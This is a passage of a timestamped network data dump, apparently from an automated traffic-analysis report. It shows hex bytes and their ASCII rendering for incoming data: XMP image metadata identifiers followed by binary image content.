2022-07-20 17:09:01 UTC	6073	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.did:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>
2022-07-20 17:09:01 UTC	6089	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF
2022-07-20 17:09:01 UTC	6105	IN	Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf
2022-07-20 17:09:01 UTC	6113	IN	Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BEDE11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D
2022-07-20 17:09:01 UTC	6129	IN	Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 43 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>
2022-07-20 17:09:01 UTC	6145	IN	Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
2022-07-20 17:09:01 UTC	6149	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E01191BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407
2022-07-20 17:09:01 UTC	6165	IN	Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-90e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.
2022-07-20 17:09:01 UTC	6181	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp
2022-07-20 17:09:01 UTC	6185	IN	Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rdf:li> <rdf:li>xmp.did:e1ccbde4-69ab-a
2022-07-20 17:09:01 UTC	6201	IN	Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%\|U*1za\|sc7&]\|Dkc>3o8df%V^Ukt38mSm8]+.I8'7Qmyo+[Q{SfF
2022-07-20 17:09:01 UTC	6217	IN	Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeBkNjmHKL<YUU?2Ex"%X5FR
2022-07-20 17:09:01 UTC	6224	IN	Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05 3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX
2022-07-20 17:09:01 UTC	6240	IN	Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGwSPa%e+QS6^^gX4G`.QI"q#/-T.T
2022-07-20 17:09:01 UTC	6256	IN	Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d Data Ascii: Z~u_&mn;<!hUrpp?+y}wa\|g*$Sfr6\|l&DY>6z&;&voou\|nQ#ywB%dHMHvJuF\|iQpEWYf{Mmrm-AO0\hC:XW.BZ$EaF=!nV<6=5~N{M
2022-07-20 17:09:01 UTC	6264	IN	Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l\|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~\|0EYY.Ov!O-
2022-07-20 17:09:01 UTC	6280	IN	Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e 3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE\|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"\|wKd`(YFcO!#&Do"Tqsr77/i2lsb7[/
2022-07-20 17:09:01 UTC	6296	IN	Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGwXj-vEybL
2022-07-20 17:09:01 UTC	6304	IN	Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 Data Ascii: 1VLI$_\|\|%q#u%yd&6#zKz/"[)<q[BqydosH=9YAH7wY.JceTzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJB\8^WOTp
